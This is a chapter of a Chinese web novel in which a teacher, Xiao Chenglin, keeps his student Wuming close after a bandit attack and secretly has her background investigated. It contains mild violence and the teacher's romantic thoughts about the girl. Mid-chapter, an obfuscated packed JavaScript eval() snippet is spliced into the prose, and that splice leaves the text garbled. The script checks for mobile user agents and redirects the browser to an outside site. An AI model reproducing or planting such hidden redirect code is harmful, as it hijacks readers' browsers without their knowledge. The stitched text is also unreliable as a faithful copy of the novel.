17. 要摊牌了吗

作品:《为君覆明月

    墙角的炭盆里堆满烧红的木炭,水汽蒸腾的净房中央,无名呆滞地蹲坐在盛满温水的木桶中。


    萧成林特意吩咐了手下将水烧滚又晾凉,还在水里加了镇静消炎的草药,帮助她身上的伤口愈合。


    少女眼神涣散,没有焦距地望着面前的虚空,过得一阵,又懊恼地将脸埋进水中。


    她刚才居然想强吻她的先生!而她的脸上还残留着那个匪徒的口水!


    简直是失心疯了!


    这样悔愧着,无名拿布巾将脸上、身上搓了又搓。待她换了一身干净衣裳、包着头发贴着墙根溜回房间时,萧成林刚抬起头,愣住了。


    他看见了个什么东西?


    红彤彤的、剥了皮的乳猪……


    “你怎么把自己搓成这个样子?!”男人的语气充满了不可置信,和几分焦急的责备。


    他两步迎上去,少女却“噗嗵”一声跪在地上,他来不及阻止,就听见女孩儿前额“咚”地磕在地板上。


    “先生罚我吧!学生鬼迷心窍,弄脏了先生衣袍披风。”


    他应当是反感的吧!自己一扑上去,立时就被他一掌掀开。


    大约也是恼怒的,不然为何一把抄起自己,两步并做一步踢开净房的门,将自己丢在浴桶中,只丢下一句“安心沐浴”便头也不回地离开。


    无名额头贴在冰凉的地板上,惴惴不安地等着男人的责骂。


    短暂的安静,然后一双大手不由分说将她提起来,按在窗边椅子上。


    萧成林拔出药瓶的塞子,将药粉倒在干净的棉布上,细细敷在无名前额。


    待上好药,将药瓶归置,方才开口:“原本就伤了好些地方,叫你泡汤是为了给你伤口消炎,好恢复得快些。你倒好,将自己生搓掉层皮,这下又要敷药,有你苦头吃了。”说完拿眼睛打量着无名露在外面的皮肤,无奈地摇摇头。


    “先生……不怪我吗?”少女眼睫扑闪,面上全是小心翼翼的试探。


    男人微微一笑,大掌轻拍女孩儿缠着布巾的头顶:“你只是没坐稳,摔了一下,为师为何要怪你?”


    说罢,他起身欲走,还不忘叮嘱女孩儿:“天气凉了,布巾不宜包太久,等会儿记得换条干爽的。厨房会送吃食上来,吃过东西早些休息。”走到门口,想起来什么,回身又补了一句:“今日练字就免了。”


    ???


    这都什么境况了,他还想着练字这茬?!


    无名瞠目结舌,呆坐在原地,看着萧成林的衣角消失在门口。


    -----------------


    小小的银簪,簪头的茶花瓣缝隙中,还残留着未能擦拭干净的血渍;簪尾被人刻意磨得尖利,他见到那姑娘时,簪子刺透了她的衣袖,上面还穿着一对眼珠子。


    血腥得很。


    萧成林眼神闪了闪,将银簪递给朱雀,吩咐他:“将簪子洗干净,尾部挫平了再还给她。”


    朱雀接过簪子却不动,迟疑片刻,斟酌着开口:“尊上……可要再查一查十七姑娘底细?昨夜她那身手反应,着实不像寻常乡下孤女。”


    男人一手支着头,盯着一处地方出神,又或是在凝神思考。


    半晌,磁性低沉的声音响起:“查!”


    朱雀点头欲退下,男人的声音又起:“等等!”


    “不要大张旗鼓,叫钟二亲自查,切莫惊动十七,”想了想,“也不能惊动天玑观里那位。”


    朱雀却露出为难神色,道:“可是……如今书院只有钟二在,若传信回去,再等钟大带人返回,钟二才能下山,一来一回,怕是三两个月也有了……”


    “钟大的人如今到哪里了?”


    “他们与通天镇上的人一道沿着官道往瓜州去,若此刻派人去送信,大约需一日;若我们继续行进,在瓜州山谷口截住他们,也是一日时间。”朱雀知道男人的意思,并不去计算另一队人马如今所在,反而提供了两个传递命令的方案。


    “叫柯叶带一半人,即刻出发,务必在河谷口截住钟大的人。”


    “是!”


    朱雀提步要走,男人再次出声:“你去附近镇子上买具车架,再弄些软和的铺盖,之后两日辛苦你驾车。”


    朱雀不明所以,冲口而出:“尊上可是受了伤?可要请个郎中来?”


    萧成林却摇摇头,“不能就这么放十七走,在钟二查实她的身份之前,我要亲自看着她。”


    有道理,朱雀站直身子,一拱手:“尊上放心!咱们都省得厉害,必定保证时时刻刻盯住了十七姑娘,一只苍蝇也别想靠近她!”


    倒也不必如此盯着……萧成林默默想,挥手叫眼前之人退下。


    “等等!”


    朱雀手刚摸上门闩,身后男人的声音又传来。


    他这位主子打从那个吴十七房间回来就变得啰嗦起来,磨磨唧唧的!


    “你拿着这个,去镇上买两双鞋。”一只脏兮兮的布鞋飞过来,朱雀慌不迭接了。


    “挑宽松的!”男人的声音追在身后,被朱雀关在门内。


    真的,十分啰嗦!


    第二日清晨,无名被拍门声吵醒,坐进崭新的马车里时,人还是懵的。


    当她终于醒过神来,发现朱雀架着马车上了官道之后竟是一路往西北方向赶去,不由就有些心慌。


    萧成林还在慢条斯理地吃着早饭,见无名扒着车窗缩在一边,递了个热腾腾的菜包子过去:“平日在书院里你最爱吃这个,今儿怎么不吃?”


    无名抬眼打量男人神色,抓过小桌上的湿布将一双手擦了擦,这才接过男人递来的菜包子,小口小口咬着。


    怎么看都是没有胃口的样子。


    大约还是在膈应前日里那伙腌臜贼人罢。


    萧成林于劝慰旁人这一道实在没什么领悟,想了许久,只谨慎地憋出一句:“心自在,身自在。你心性本洁,切莫因受了旁人磋磨而自苦。”


    他不提还好,这么云里雾里的提了一嘴,无名倒又想起昨日两人在床榻上近乎厮打一场的光景,一张脸“腾”地红透了。


    这么一想,她扑倒先生虽然极其冒昧,但歪打正着,覆盖了原本不堪的记忆,也未尝不是一件好事。


    于她自己而言是这样,只是不知是否给先生造成困扰。


    女孩儿这么想着,就忍不住又拿眼偷瞄男人神色。


    依旧是一派优雅温吞,即便坐在摇晃的马车中,也好似临渚听风,自成一幅水墨丹青。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325950|167617||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>大概不甚在意吧,无名暗暗希冀。


    男人看着坐在离自己最远的角落里低头安静进食的少女,莫名就想到书院后山那些兔子,在埋头啃草的时候,简直一模一样。


    眼睛从一鼓一鼓的腮帮子瞧到微微耸动的鼻尖,又下滑到被撑开褶皱却还要努力闭合的双唇。


    那双唇并不十分丰满,却出奇的柔软。


    带着淡淡的香气。


    脸颊上似乎又生出一点热意,昨夜少女要吃人一样凶狠的吻似乎在梦中过了一遍筛,撇去磕碰的疼痛,只留下一片湿热绵软的温香。


    那香味此刻又被车窗吹进来的秋风送到面前,洗脱了土腥味,更纯更浓,直叫人头晕身热。


    萧成林端起小桌上茶盏,猛灌一口已经冷了的茶水。


    “先生——”


    “咳咳!咳咳!”不意眼前之人突然出声,萧成林一口茶水卡在当中,猛烈呛咳起来。


    就见少女立时慌了手脚,抓起小桌上的湿布就要来擦拭,手伸到一半似觉不妥,生顿住,丢了湿布又找不到合适的物件,小小的人就这么屈着腿半站在低矮的车厢内,为难地咬着嘴唇。


    萧成林顺过一口气,从怀中掏出一块叠得四四方方的绢帕展开,印干下颌领口的水渍,轻喘着叫无名坐。


    待少女坐定,方才问她:“方才想问什么?”


    无名快速抬眼望了下先生,小声说:“先生这是要带十七去哪里?”


    男人垂眸认真将雪白的绢帕叠起来,语气温和:“入了秋,灵州到瓜州一带一向盗贼马匪猖獗,这次刚巧是叫我撞见了,但是在确保你安然无恙之前,为师实在不放心你自己回书院去——”一双从来平静无波的眼扫过无名,突然就闪过一丝光亮,叫少女莫名打了个激灵,“所以,这两日,你便先跟着为师罢!”


    “那先生这趟是要去哪里?”无名问出口就知道错了,萧成林暗夜带队出行,她昏倒前依稀记得七八个好手各个身着夜行骑装,这副模样显然是有隐秘任务,怎会轻易告诉她?


    “去沙州。”三个字,平平淡淡,却听得无名心惊肉跳。


    萧成林若含混不说,也许她还不会如此害怕。可他竟就这么大剌剌说出来了,无名不由就想起那四个当着她和杨留清的面摘下面巾吃肉喝酒的贼人。


    正是已经抱定了不放人的念头,所以根本无所顾忌。


    大不了就是一刀抹了,叫人再不能泄密。


    萧成林却好似并不打算就此放过她,从袖口中摸出个细长物件,“当啷”一声丢在小桌上,“已经洗干净了,戴起来罢!”


    正是她偷偷磨尖了尾部藏在袖中防身、又在与匪徒拼杀之时为她博取一线生机的银簪。


    茶花形状的簪头已经洗净,泛着银亮的光泽;簪尾却被重新敲打磨平,圆钝得好似小儿的指头尖。


    “还有,”男人打定主意慢慢戏弄这只惊弓之鸟,慢悠悠拉开身旁的小匣,掏出个蓝色粗布的包袱,一下一下剥开,露出里面两双粉蓝色的绣鞋。


    “你原本的鞋甩脱在字画铺子门口了,这是为师差人新买的,试试看,合不合脚。”


    无名浑身冰凉,甚至不敢抬头去看男人神色。


    他这是——要摊牌吗?